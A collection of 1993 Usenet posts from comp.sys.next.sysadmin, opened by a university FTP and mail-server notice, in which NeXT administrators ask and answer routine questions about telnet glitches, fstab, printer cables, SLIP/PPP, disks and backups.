________________________________________________________________________
We, Computer Science department, Utrecht University, are running an
anonymous FTP server on one of our systems. In addition to the FTP
service we're also running a mail server, for those of you without
direct Internet access.
--> How to get 'Elm hints' via anonymous FTP:
Site: ftp.cs.ruu.nl [131.211.80.17]
Login: "anonymous" or "ftp"
Password: your own email address (you@your_domain)
file:
/pub/NeXT/elm-2.4.21-hints.shar
--> How to get 'Elm hints' via e-mail from our mail-server:
NOTE: In the following I have assumed that your mail address is
"fred_flintstone@stone.age.edu"; of course you must substitute
your own address for this.
| Please use a VALID DOMAIN ADDRESS.
| Use 'hip!hop!user' if you must.
| Never use an address which has both '!' and '@' in it.
| Bitnetters use user@host.bitnet
Send the following message to
mail-server@cs.ruu.nl
or the old-fashioned path alternative
uunet!mcsun!sun4nl!ruuinf!mail-server
begin
path fred_flintstone@stone.age.edu (SUBSTITUTE _YOUR_ ADDRESS)
send NeXT/elm-2.4.21-hints.shar
end
The path command can be deleted if we receive a valid from address in your
message. If this is the first time you use our mail server, we suggest you
first issue the request:
send HELP
A complete "ls-lR" listing of the archive is kept in the top-level
directory, it will be updated every night. To get it, issue the command:
send ls-lR.Z
That's all for now. If you encounter problems using the FTP service
and/or the mail-server, feel free to drop me a line (by e-mail, please).
--
Edwin H. Kremer, systems- and network manager. [NIC-Whois handle: EHK3]
Department of Computer Science, Utrecht University, The Netherlands
Internet: Edwin.Kremer@cs.ruu.nl NeXTmail: Edwin.Kremer@edge.cs.ruu.nl
X.400 : G=Edwin;S=Kremer;OU=cs;O=ruu;PRMD=surf;ADMD=400net;C=nl
From: oleg@gd.cs.CSUFresno.EDU (Oleg Kibirev)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: telnetd problem?
Message-ID: <OLEG.93Apr14003809@gd.cs.CSUFresno.EDU>
Date: 14 Apr 93 07:38:09 GMT
References: <1qeq42$7g@uxa.ecn.bgu.edu>
Organization: Computer Science Departement of California State University inFresno
In-reply-to: upbundal@uxa.ecn.bgu.edu's message of 13 Apr 1993 11:35:14 -0500
In article <1qeq42$7g@uxa.ecn.bgu.edu> upbundal@uxa.ecn.bgu.edu (Pred Bundalo) writes:
>romcore# finger
>Login Name TTY Idle When Office
> root
>root
> co 17d Sun 11:53
> root root p1 1:24
>Sun 11:5
>3
> root root p2 1:24 Mon 22:56
> pred Predrag S.
>Bundalo
> p3 Tue 11:25
> romcore#
This is a problem I see on all NeXT's I have access to. It even happens
when I telnet to romcore from romcore. The above problems don't exist
if I use rlogin, though. And there's a good reason I can't use rlogin
that's not relevant to this message.
rlogin has it's own problem. It doesn't give you controling tty ;) Anyway, I
found that "exec script /dev/null" will make the problem go away.
Oleg
Newsgroups: comp.dcom.lans.ethernet,comp.sys.next.sysadmin
From: wagner!beckers (Becki Kain)
Subject: problem between 2 machines
Message-ID: <1993Apr14.125716.1137@imagine.com>
Sender: beckers@imagine.com
Organization: Imagine Multimedia, Inc., Ann Arbor, MI, USA
Date: Wed, 14 Apr 1993 12:57:16 GMT
Hi all:
we have a thin net setup with about 20 machines on it. machines x and y
are in the same room together and are the only machines in the room (they
are both next). a ping between machine x and y will lose packets (between
1 and 10%) and the same will happen with a ping between y and x, but a
ping from x to any other machine on the net or y and any other machine
yields no packet lose. i've tried turning the machines around and
changing all the wires and t's to no avail. any ideas what is going on
here?
thank you
beckers
--
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From: clloyd@gleap (Charles C. Lloyd)
Newsgroups: comp.sys.next.sysadmin
Subject: Contents of LCK file?
Message-ID: <1993Apr13.205117.3681@gleap.jpunix.com>
Date: Tue, 13 Apr 1993 20:51:17 GMT
Sender: clloyd@gleap.jpunix.com
Organization: GiantLeap Software
Does anybody know how to manually create a valid uucp/LCK/LCK..* file?
Apparently, a valid LCK file has 4 bytes, but I cannot tell what these are. I
want to be able to lock/unlock my modem manually.
--
Charles Lloyd clloyd@GLeap.jpunix.com
GiantLeap Software (713) 363-0887
(713) 363-0936 (fax)
From: yongwon@cs.pitt.edu (Yongwon Lee)
Newsgroups: comp.sys.next.sysadmin
Subject: Need info for upgrading 68030 cube
Message-ID: <19577@pitt.UUCP>
Date: 14 Apr 93 16:30:27 GMT
Sender: news@cs.pitt.edu
Organization: Univ. of Pittsburgh Computer Science
We have a NeXT cube (60830-based) purchased about 5 years ago.
Since no one was seriously using it, there has been no upgrade
done. Now, we like to upgrade it, but we don't know what and how.
Please give us info for upgrading (both software and hardware)
the 60830-based cube.
The cube is currently running system software 1.0 and has 8 MB main
and 340 MB HD.
Please send info directly to yongwon@cs.pitt.edu.
Thank you.
Y. Lee
From: gary@msu.edu (Gary J LaPointe)
Newsgroups: comp.sys.next.sysadmin
Subject: PPP for NeXT
Date: 14 Apr 1993 17:19:51 GMT
Organization: Michigan State University
Message-ID: <1qhh3n$lkm@msuinfo.cl.msu.edu>
I'm looking for PPP for my NeXT, BUT(!) not for my next to connect to
services, it is already ethernetted into the net.
I want to be able to dial into my NeXT an establish a PPP connection with
the dialing machine (mac and pc) allowing the caller to access PPP services.
Actually I DON'T dial directly into the NeXT, I dial into the university
and it connects into the NeXT, they offer PPP on the 2400 dial-ins,
but not 9600+.
(I'd be interested in SLIP if no PPP, but PPP is what I'm really looking for.)
I've seen messages talk about PPP (& SLIP) but they generally look like
they are connecting the NeXT to something else to give it (the NeXT) PPP
services.
Thanks!
Gary
--
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gary@ah3.cal.msu.edu
Michigan State University
Center For Integrative Studies, Arts & Humanities
Newsgroups: comp.sys.next.sysadmin
From: gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos)
Subject: Will Quantum Drive Work?
Message-ID: <1993Apr13.143900.27825@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Date: Tue, 13 Apr 1993 14:39:00 GMT
I've been looking for an external drive to upgrade disk space on one
of our NeXTstations. I've located a Quatum 525 drive sold by LaCie in
Oregon, under the product name Quantum Cirrus 525, for $1095, which
seems like a very good price.
My main question is: will it work with our NeXTstations.
The drive is cased for a Macintosh, so it has DB/25 connectors. So,
I'm wondering if all I need to make this work will be a custom cable
(mini50(NeXT) to DB/25(Quantum525)). The only thing that Quantum Tech
Support can tell me is that their drive works with a Sun Sparcstation.
they cannot answer NeXT questions (no surprise, unfortunately).
More questions: Will the Quantum need more than a custom cable? Will
I have to change dip switches, etc, for anything other than scsi
address resolution problems (if any). Will it be difficult to format,
or will NeXT's Builddisk app "just work." Does BuildDisk require any
special parameters that I need to find out about (so far, I know the
numbero of cylinders, heads, sectors, and rpm). I don't see anything
like this in the SCSIDisks.RFT documentation.
Or, do you recommend another drive solution that is as cheap.
Any information or pointers appreciated.
Thanks for sharing any experiences,
Phil
--
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gpmenos@firestone.princeton.edu [NeXTmail OK.]
Systems Administrator, Princeton University Libraries
voice: 609-258-5183 fax: 609-258-5571
Newsgroups: comp.sys.next.sysadmin
From: mddoyle@door.Princeton.EDU (Mark D. Doyle)
Subject: Re: telnetd problem?
Message-ID: <1993Apr13.175947.19011@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1qeq42$7g@uxa.ecn.bgu.edu>
Date: Tue, 13 Apr 1993 17:59:47 GMT
In article <1qeq42$7g@uxa.ecn.bgu.edu> upbundal@uxa.ecn.bgu.edu (Pred Bundalo) writes:
>When I telnet into my NeXT, newlines get screwed up:
[chomp]
>Is there a fix for this problem?
>
>Best,
>Pred Bundalo
>Illinois Institute of Technology (pred@iitmax.acc.iit.edu)
I pulled the solution to this problem off the net a long time ago. Its
fix appears to be undocumented. The cure is to type
stty -extproc
at your shell prompt or insert it into the end of your .cshrc or .zshrc
file. Works for me. I have no idea what it actually does or why it
works.
Mark
mdd@zeke.rockefeller.edu
From: glenn@iridium.digex.net
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP host configuration
Date: 14 Apr 1993 19:38:26 GMT
Organization: Express Access Online Communications, Greenbelt MD USA
Distribution: world
Message-ID: <1qhp7i$am1@news1.digex.net>
Keywords: SLIP HostManager
Hi all,
I have just set up L. Mamakos's SLIP software on my NeXTstation and I was
wondering what the optimal setup in hostmanager is for my local host? I
am not connected to the ethernet interface and don't think that I ever
will be. I still don't understand all of the vagaries of IP addressing.
Also, how do I pass password and loginname strings to my login script so
that I can have them stored in the file diald.conf, where I store the
phone number and other setup info.
Thanks in advance,
Glenn
PS - If any of you have a good tcl dialing script for the hsd faxmaster
modem I would appreciate it!
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glenn@iridium.digex.net
900 North Stafford St., #2017
Arlington, VA 22203-1849
Voice: (703) 276-2350
Newsgroups: comp.sys.next.sysadmin
From: vince@pons.umhc.umn.edu (Vince Netz)
Subject: Re: compiling elm 2.4 under NS 3.0
Message-ID: <C5Hw9E.4tq@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota
References: <1993Apr14.090113.11157@cs.ruu.nl>
Date: Wed, 14 Apr 1993 22:38:39 GMT
In <1psq4a$80b@news.intercon.com> disc@vector.intercon.com (David Casti)
writes:
=I'm trying to compile elm version 2.4 under NeXTStep 3.0 and it dies
=consistently
I might also suggest that instead of Elm, the "Pine" mailer is an
alternative. All the big Unix mainframes here at the University of MN
got rid of elm in favor of pine, and I've found it to be much more
friendly for my vt100 dialup users. An already-compiled version of pine
for the NeXT is available from ftp.cac.washington.edu, but source files
are also distributed at many ftp sites and require some simple Makefile
modification before they can be compiled.
--
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\ / Systems Manager Office: +1 612-626-3136
\/ Quality & Utilization Management FAX: +1 612-626-3524
University of Minnesota Hospital
From: root@sent5.uni-duisburg.de (Operator)
Newsgroups: comp.sys.next.sysadmin
Subject: 35 feet NeXT printer cable ???
Date: 15 Apr 1993 07:33:40 GMT
Organization: Universitaet Duisburg GH
Distribution: world
Message-ID: <1qj34kINN4qg@unidui.uni-duisburg.de>
Hi folks,
We tried to connect our NeXT printer with a 35 feet long cable.
Sometimes it works, sometimes not. What shall we do? Is it necessary to
take a cable with shielding each wire? Must we develop an interface with
buffers? Who has experience?
Thanks
Wolfgang Kruell
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 35 feet NeXT printer cable ??? Make it 80' ??
Date: 15 Apr 1993 08:20:01 GMT
Organization: University of California, Berkeley
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References: <1qj34kINN4qg@unidui.uni-duisburg.de>
In article <1qj34kINN4qg@unidui.uni-duisburg.de> root@sent5.uni-duisburg.de (Operator) writes:
Hi folks,
>We tried to connect our NeXT printer with a 35 feet long cable.
>Sometimes it works, sometimes not. What shall we do? Is it necessary to
>take a cable with shielding each wire? Must we develop an interface with
I recall about an old posting which said that the printer
cable length has to be multiples of 80 feet or so. So make the
cable longer! The reason was to delay the return signal by
exactly one clock period and is related to the conduction
velocity of the cable. So, you can probably derive it yourself
give the clock freq. and velocity of signal on the cable you
will be using.
The person who successfull did this
was using a coax cable for each signal.
Of course, this is not something NeXT would support or confirm.
--
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USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: floating file ownership
Date: 15 Apr 1993 08:13:42 GMT
Organization: University of California, Berkeley
Distribution: na
Message-ID: <1qj5fm$nvv@agate.berkeley.edu>
References: <1993Apr15.054101.15349@cs.yale.edu>
In article <1993Apr15.054101.15349@cs.yale.edu> amehta@yale.edu (Anand Mehta) writes:
>Hi. I'm having a problem with an external drive. The drive won't retain
>proper ownership information. I have updated fstab as per the documentation,
>but there still seems to be a problem with this.
The doc has a bug. Do not use "noauto" keyword for mounting
non-root partitions.
It should look like this. Note that there is no "noauto" for the
second line:
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
/dev/sd1a /Users 4.3 rw,noquota 0 2
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
From: M_Carling@BlueRose.com (M Carling)
Subject: Re: Will Quantum Drive Work?
Message-ID: <1993Apr15.033016.3094@bluerose.com>
Sender: m@bluerose.com
Organization: Blue Rose Systems, Inc.
References: <1993Apr13.143900.27825@Princeton.EDU>
Distribution: na
Date: Thu, 15 Apr 1993 03:30:16 GMT
In article <1993Apr13.143900.27825@Princeton.EDU>
gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos) writes:
> I've been looking for an external drive to upgrade disk space on one
> of our NeXTstations. I've located a Quatum 525 drive sold by LaCie in
> Oregon, under the product name Quantum Cirrus 525, for $1095, which
> seems like a very good price.
>
> My main question is: will it work with our NeXTstations.
>
> The drive is cased for a Macintosh, so it has DB/25 connectors. So,
> I'm wondering if all I need to make this work will be a custom cable
> (mini50(NeXT) to DB/25(Quantum525)).
It should work. I've used that drive with NeXTSTEP. I would try to get it
in a different enclosure (one with a 50pin connector), and that price is
high.
M Carling
President, Bay Area NeXT Group
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From: hwr@snert.ka.sub.org (Heiko W.Rupp)
Subject: Re: Contents of LCK file?
References: <1993Apr13.205117.3681@gleap.jpunix.com>
Date: Thu, 15 Apr 1993 07:53:09 GMT
Organization: The Home of the Pilhuhn
Sender: news@pilhuhn.ka.sub.org (Das Newssystem auf pilhuhn)
Message-ID: <hwr.734860389@snert.ka.sub.org>
clloyd@gleap (Charles C. Lloyd) writes:
>Does anybody know how to manually create a valid uucp/LCK/LCK..* file?
The LCK normally contains the PID of the process holding the lock.
It should be a long.
>want to be able to lock/unlock my modem manually.
Use tip.
Only writing a LCK file doesn't help, as other processes, who whish to
access the port get the PID from the LCK and look if the corresponding
Process still exists. If not, they release that Lock, build their own and
go with it.
--
Heiko W.Rupp Gerwigstr.5 7500 Kh'e 1 hwr@pilhuhn.ka.sub.org +49 721 693642
Hartley's First Law:
You can lead a horse to water, but if you can get him to float
on his back, you've got something.
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From: amehta@yale.edu (Anand Mehta)
Subject: floating file ownership
Message-ID: <1993Apr15.054101.15349@cs.yale.edu>
Summary: problems with floating ownership
Keywords: disk owner
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale Univ. Science & Engineering Computing Facility, New Haven, CT 06520
Distribution: na
Date: Thu, 15 Apr 1993 05:41:01 GMT
Hi. I'm having a problem with an external drive. The drive won't retain
proper ownership information. I have updated fstab as per the documentation,
but there still seems to be a problem with this.
A related issue is that when I reboot my machine and log directly into my user
account (anand) I get the File Viewer as it is in my root account, and the
basic icon,preferences,edit,rest blank dock. I have to log out again and back
in to get my dock and viewer back to normal.
Perhaps these are related in some way. Any help would be appreciated.
Thanks,
-Anand
Academic Computing Services
Yale University
mehta-anand@yale.edu
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From: kgp2a@faraday.clas.Virginia.EDU (Kenneth G. Pote)
Subject: Why is my ksh broken?
Message-ID: <C5J5H8.2Fr@murdoch.acc.Virginia.EDU>
Followup-To: pote@benjamin.tch.harvard.edu
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: Department of Biology, Gilmer Hall, University of Virginia
References: <1993Apr13.143900.27825@Princeton.EDU>
Date: Thu, 15 Apr 1993 14:55:56 GMT
I have a next slab that has a copy of ksh installed in /usr/local/bin/ksh,
that until recenly would run by issuing /usr/local/bin/ksh from the .login
file and following that with . .kshrc and . .profile. This still works from the
csh command line, but does not work in the .login. I have set up the user
accounts with the default shell as /usr/local/bin/ksh. In addition, the
/private/etc/passwd has been editied to include the path
/usr/local/bin/ksh. These do not fix a thing.
Can anyone suggest a better way of setting this up.
-Ken
From: Tim Pugh <tpugh@oce.orst.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 35 feet NeXT printer cable ??? Make it 80' ??
Date: 15 Apr 1993 16:00:55 GMT
Organization: University Computing Services - Oregon State University
Distribution: world
Message-ID: <1qk0rn$13n@gaia.ucs.orst.edu>
References: <1qj5rh$o0o@agate.berkeley.edu>
Keywords: printer cable
In article <1qj5rh$o0o@agate.berkeley.edu> izumi@pinoko.berkeley.edu (Izumi Ohzawa)
writes:
> In article <1qj34kINN4qg@unidui.uni-duisburg.de> root@sent5.uni-duisburg.de (Operator)
writes:
> Hi folks,
> >We tried to connect our NeXT printer with a 35 feet long cable.
> >Sometimes it works, sometimes not. What shall we do? Is it necessary to
> >take a cable with shielding each wire? Must we develop an interface with
>
> I recall about an old posting which said that the printer
> cable length has to be multiples of 80 feet or so. So make the
> cable longer! The reason was to delay the return signal by
> exactly one clock period and is related to the conduction
> velocity of the cable. So, you can probably derive it yourself
> give the clock freq. and velocity of signal on the cable you
> will be using.
>
> The person who successfull did this
> was using a coax cable for each signal.
> Of course, this is not something NeXT would support or confirm.
>
> --
> Izumi Ohzawa [ $@Bg_78^=;(J ]
> USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
> Telephone: (510) 642-6440 Fax: (510) 642-3323
> Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Here is part of the original post that Izumi refers to:
------------
From: william hunt <willie@iuvax.cs.indiana.edu>
Subject: Re: lengthening a NeXT printer cable
I made a cable using seperate coaxs for each signal. It
works fine, except that when the printer runs out of paper, putting in
more paper does not get the printer printing again. Wagle found that
he had to turn the printer off using the soft window, and then it
starting printing again.
As far as signal skew goes, there should be no problem with data going
to the printer, since the CPU provides data and data clock. However, the
return data may be suffering skew problems. One solution, is to
adjust the length of the cable so the return data is skewed by exact
one clock cycle. I will try this sometime and let you know how it
works.
Willie
From: william hunt <willie@iuvax.cs.indiana.edu>
Subject: Re: lengthening a NeXT printer cable
I measured the delay with the oscilloscope and found that that I made
the cable a poor length for skew. I added enough cable to the return
data line so that the cable is now equal to 80 feet in length. This
adjusted the skew for the return data one full clock cycle. Wagle and
I tested to see if the running the printer out of paper still caused a
problem. We found that the problem is fixed.
So, the moral to this story is to make long cables multiples of 80
feet (for 81% c coax). The cable can be slightly longer that 80 feet but
not by more than 15 feet. The cable can not be shorter that 80 feet.
These cable length should work:
0 to 15 feet
80 to 95
160 to 175
240 to 255
Of course the lengths will have to be adjusted for the velocity factor
if it is different than 81 percent. Mabey, Next can make a special cable
and sell it!
Willie
------------
--
Tim Pugh
College of Oceanic and Atmospheric Sciences
Oregon State University
tpugh@oce.orst.edu
NeXTmail ok!
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From: lytras@avalon.physik.unizh.ch (Apostolos Lytras)
Subject: How to register Hostname?
Message-ID: <1993Apr15.181335.8954@ifi.unizh.ch>
Sender: news@ifi.unizh.ch (USENET News Admin)
Organization: Informatik Club d. Universitaet, Zuerich
Date: Thu, 15 Apr 1993 18:13:35 GMT
Hi Netters,
I must have messed something up in my Netinfo Database... How do I register
the hostname? NetInfo Manager says that it isn't registered. Do I have to
create a new subdirectory in 'machines' or do I have to edit the 'localhost'
subdirectory?
Please answer via mail.
Thanks in advance.
- A.
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From: iarit@slate.mines.colorado.edu (ARIT ISMAIL)
Subject: Strange remote printing problem!!
Message-ID: <1993Apr15.171432.53075@slate.mines.colorado.edu>
Date: Thu, 15 Apr 1993 17:14:32 GMT
Organization: Colorado School of Mines
Hi there,
I am having some problems with remote printing. We setup a Next machite to do a
remote printing by using a PS printer connected to a Sun. First time we setup the
connection , everything was just fine, we were able to print PS file without a
single problem. Lately, people who manage the sun system rebooted the machine for
some reason, and now I can't print anything:-(. They told that they didn't change
anything on the system, so there should be no problem. Here is the message I get
when I check lpq.
lias:-> lpq
no entries
lias: No space on remote; waiting for queue to drain
Rank Owner Job Files Total Size
1st iarit 45 robotorganized.ps 33456 bytes
lias:->
If I check the remote system lpq , I get
% lpq
no entries
%
There is more than enough space on remote system to print this 33K file, and since
there is no printing queue to drain on remote system, why am I getting this error?
How can I fix this problem, actually, what is the problem here?
any help will be appreciated!!
iarit@slate.mines.colorado.edu
From: jimc@tau-ceti.isc-br.com (Jim Cathey)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 35 feet NeXT printer cable ??? Make it 80' ??
Message-ID: <3360@tau-ceti.isc-br.com>
Date: 15 Apr 93 20:54:36 GMT
References: <1qj34kINN4qg@unidui.uni-duisburg.de> <1qj5rh$o0o@agate.berkeley.edu>
Organization: Olivetti North America, Spokane, WA
In article <1qj5rh$o0o@agate.berkeley.edu> izumi@pinoko.berkeley.edu writes:
>The person who successfull did this
>was using a coax cable for each signal.
>Of course, this is not something NeXT would support or confirm.
Or even _can_ support or confirm, anymore.
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From: root@iridium.digex.net (Glenn D. Rempe)
Newsgroups: comp.sys.next.sysadmin
Subject: Mailer question.... Bouncing mail
Date: 15 Apr 1993 21:03:26 GMT
Organization: Express Access Online Communications, Greenbelt MD USA
Distribution: world
Message-ID: <1qkiiu$oai@news1.digex.net>
Hi all,
I just got a message from the system administrator of my SLIP provider
(Digex.net). It seems that there was a problem mailing something to my friend
in Minneapolis and he wanted me to look into it. I must admit though that I do
not have enough knowledge to diagnose the problem, much less come up with a
solution. Can any of you take a look at the message and tell me what is wrong
and what I can doo to prevent this from happening in the future?
Many thanks in advance,
Glenn
Message follows:
-------------------------------------------------------
From: ejk@nitrous.digex.net (Ed Kern)
Subject: Your mailer is screwing up...look into it..
To: root@iridium.digex.net
Date: Thu, 15 Apr 1993 14:26:54 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL13]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 7234
Ed
Forwarded message:
> From postman@access.digex.net Thu Apr 15 12:04:43 1993
> From: Postmaster <postman@access.digex.net>
> Message-Id: <199304151603.AA10852@access.digex.com>
> Subject: Returned mail: Service unavailable (fwd)
> To: ejk@access.digex.net (ejk)
> Date: Thu, 15 Apr 1993 12:03:53 -0400 (EDT)
> X-Mailer: ELM [version 2.4 PL21]
> Mime-Version: 1.0
> Content-Type: text/plain; charset=US-ASCII
> Content-Transfer-Encoding: 7bit
> Content-Length: 6523
>
> Forwarded message:
> >From MAILER-DAEMON Wed Apr 14 15:04:49 1993
> Date: Wed, 14 Apr 1993 15:03:54 -0400
> From: Mail Delivery Subsystem <MAILER-DAEMON>
> Message-Id: <199304141903.AA00543@access.digex.com>
> To: jcb@staff.tc.umn.edu
> Cc: mbounces
> Subject: Returned mail: Service unavailable
>
> ----- Transcript of session follows -----
> While talking to iridium.digex.com:
> >>> DATA
> <<< 554 sendall: too many hops 18 (17 max): from <jcb@staff.tc.umn.edu>, to
jcb@staff.tc.umn.edu
> 554 <glenn@iridium.digex.com>... Service unavailable
>
> ----- Unsent message follows -----
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> From: jcb@staff.tc.umn.edu
> To: glenn@iridium.digex.com
>
> New e-mail address, far out dude.
>
> How does one go about getting a SLIP account anyway? The "Big Cheese" has
[Rest of message from my friend deleted...]
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From: kwei@titan.ucs.umass.edu (William Wei)
Newsgroups: comp.sys.next.sysadmin
Subject: how to install Sybase server?
Date: 15 Apr 1993 17:50:00 -0400
Organization: University of Massachusetts, Amherst
Distribution: usa
Message-ID: <1qkla9INN7lu@titan.ucs.umass.edu>
Is there a doc. or instruction somewhere? Thanks.
From: oleg@gd.cs.CSUFresno.EDU (Oleg Kibirev)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: floating file ownership
Message-ID: <OLEG.93Apr15122107@gd.cs.CSUFresno.EDU>
Date: 15 Apr 93 19:21:07 GMT
References: <1993Apr15.054101.15349@cs.yale.edu> <1qj5fm$nvv@agate.berkeley.edu>
Distribution: na
Organization: Computer Science Departement of California State University inFresno
In-reply-to: izumi@pinoko.berkeley.edu's message of 15 Apr 1993 08:13:42 GMT
In article <1qj5fm$nvv@agate.berkeley.edu> izumi@pinoko.berkeley.edu (Izumi Ohzawa) writes:
In article <1993Apr15.054101.15349@cs.yale.edu> amehta@yale.edu (Anand Mehta) writes:
>Hi. I'm having a problem with an external drive. The drive won't retain
>proper ownership information. I have updated fstab as per the documentation,
>but there still seems to be a problem with this.
The doc has a bug. Do not use "noauto" keyword for mounting
non-root partitions.
It should look like this. Note that there is no "noauto" for the
second line:
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
/dev/sd1a /Users 4.3 rw,noquota 0 2
Looks like you also need "niload -v -d fstab . < /etc/fstab".
Oleg
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: floating file ownership
Date: 15 Apr 1993 23:47:05 GMT
Organization: University of California, Berkeley
Distribution: na
Message-ID: <1qks5p$c1f@agate.berkeley.edu>
References: <OLEG.93Apr15122107@gd.cs.CSUFresno.EDU>
In article <OLEG.93Apr15122107@gd.cs.CSUFresno.EDU> oleg@gd.cs.CSUFresno.EDU (Oleg Kibirev) writes:
>In article <1qj5fm$nvv@agate.berkeley.edu> izumi@pinoko.berkeley.edu (Izumi Ohzawa) writes:
>
> In article <1993Apr15.054101.15349@cs.yale.edu> amehta@yale.edu (Anand Mehta) writes:
> >Hi. I'm having a problem with an external drive. The drive won't retain
> >proper ownership information. I have updated fstab as per the documentation,
> >but there still seems to be a problem with this.
>
> The doc has a bug. Do not use "noauto" keyword for mounting
> non-root partitions.
> It should look like this. Note that there is no "noauto" for the
> second line:
>
> /dev/sd0a / 4.3 rw,noquota,noauto 0 1
> /dev/sd1a /Users 4.3 rw,noquota 0 2
>
>Looks like you also need "niload -v -d fstab . < /etc/fstab".
No you don't. You shouldn't really put the thing into NetInfo.
At the time /etc/fstab is read, NetInfo is not yet running.
A rule of thumb is to put local HD mounts into /etc/fstab, and
put NFS mounts into NetInfo's fstab section.
Having duplicate in NetInfo will not cause errors, but it is
redundant.
--
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USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: upbundal@uxa.ecn.bgu.edu (Pred Bundalo)
Newsgroups: comp.sys.next.sysadmin
Subject: Backups: what's good?
Date: 15 Apr 1993 21:25:05 -0500
Organization: Educational Computing Network
Distribution: world
Message-ID: <1ql5e1$nnf@uxa.ecn.bgu.edu>
I now have access to an ARCHIVE Python 4 Gigabyte DAT drive for my
backups. The problem is that I'm not sure which backup system is best
for a beast with such storage capacity. For instance, I have two hard
drives. One is a tiny 105MB Quantum internal, and the other is a 1.2GB
external Seagate.
If I use tar to back either of these up, I'm going to end up using a
tape per drive per backup, which is an enormous waste of unused tape.
It's equally bad if I use dump.
Isn't there a backup system such as, say, VMS BACKUP, where backups
are stored as multiple separate savesets on a single tape?
I'd sure hate to have to waste a 4GB tape on a tiny 105MB hard drive . . .
Multiple tar archives would be nice, for instance.
Best regards,
Pred Bundalo
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Illinois Institute of Technology (pred@iitmax.acc.iit.edu)
Newsgroups: comp.sys.next.sysadmin
From: Gregory W. Gee <gee@gaul.csd.uwo.ca>
Subject: xremote for NeXT?
Organization: Relayed-by-Sendmail
Date: Fri, 16 Apr 1993 02:47:56 GMT
Message-ID: <9304160247.AA17520@gaul.csd.uwo.ca>
To: comp.sys.next.sysadmin@newshost.uwo.ca
Sender: daemon@julian.uwo.ca (Julian System Daemon Account)
I was wondering if there is any xremote software for the NeXT. I have
the X window server I got from an ftp site running.
X windows is working fine exept I can't figure out how to display the
Xapps from school onto my NeXT at home.
I am running Xfe or Xmouse (whichever it is?) and am trying to use the
xremote offered at our university. I was wondering if the software I
need is out there somewhere. Tips on how to use it would be greatly
appreciated too.
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Greg Gee gee@gaul.csd.uwo.ca
Honours Computer Science, ggee@hi_presure_lab.gp.uwo.ca
University of Western Ontario NeXT Mail accepted
>>> Developing in the NeXT generation <<<
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From: steve@fisher.bio.uci.edu (Steve Frank)
Subject: NeXT Printer Error: Could not open /dev/np0?
Message-ID: <2BCE32CF.11038@news.service.uci.edu>
Newsgroups: comp.sys.next.sysadmin
Date: 16 Apr 93 04:15:11 GMT
I have attached a NeXT Printer to a netboot client machine. The
Local_Printer entry appears in the print panel and in the Netinfo database
in the usual way. The printer responds to power on for the machine, and
makes a restart noise when rebooting.
When printing, the queue and the spool directory appear to behave in the
normal way. But the printer never starts.
The only clue I have is that /usr/etc/nppower off returns
?Could not open /dev/np0!
Any suggestions?
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From: johnfa@lachman.com (John Fanelli)
Subject: Using NeXT 400 dpi printer and a mac
Message-ID: <1993Apr15.125039.3851@i88.isc.com>
Sender: usenet@i88.isc.com (Usenet News)
Organization: INTERACTIVE Systems Corporation, Naperville, IL
Date: Thu, 15 Apr 1993 12:50:39 GMT
Hi,
I have a question about printing. I looked in the printing FAQ, and
couldn't find an answer.
I have a NeXTstation Turbo and NeXT 400 DPI priner on my desk, but I
also have an Apple Powerbook 145 that I use when I travel. Is there any way
that I can make my Mac use the NeXT printer?? Over the net would be the
preferable way, but I'm not quite sure that that is possible.
I suppose this question really belongs in a Mac newsgroup, but I though
that I'd ask anyway.
thanks,
john fanelli
johnfa@i88.isc.com
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From: wagner!beckers (Becki Kain)
Subject: netinfo for suns
Message-ID: <1993Apr16.122601.950@imagine.com>
Sender: beckers@imagine.com
Organization: Imagine Multimedia, Inc., Ann Arbor, MI, USA
Date: Fri, 16 Apr 1993 12:26:01 GMT
I've heard that you can buy netinfo for sparc stations. does anyone know
from whom? also, does it come for any other platforms?
thank you
beckers
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From: woneill@astro.ocis.temple.edu (William O'Neill)
Newsgroups: comp.sys.next.sysadmin
Subject: Netboot problems
Message-ID: <1993Apr16.145309.11345@cronkite.ocis.temple.edu>
Date: 16 Apr 93 14:53:09 GMT
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Organization: Temple University
We recently downgraded our server machine to 2.0 from 3.0 and now one of
our netboot clients won't work. I keep getting an NFS write error #13.
Does this have something to do with the downgrade or did we configure the
netboot client wrong? (We had to run newclient again- we restored our
netinfo database from backups)
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From: scott@geom.umn.edu (Scott S. Bertilson)
Subject: Re: NetInfo for suns
Message-ID: <C5L5HC.8sp@news.cis.umn.edu>
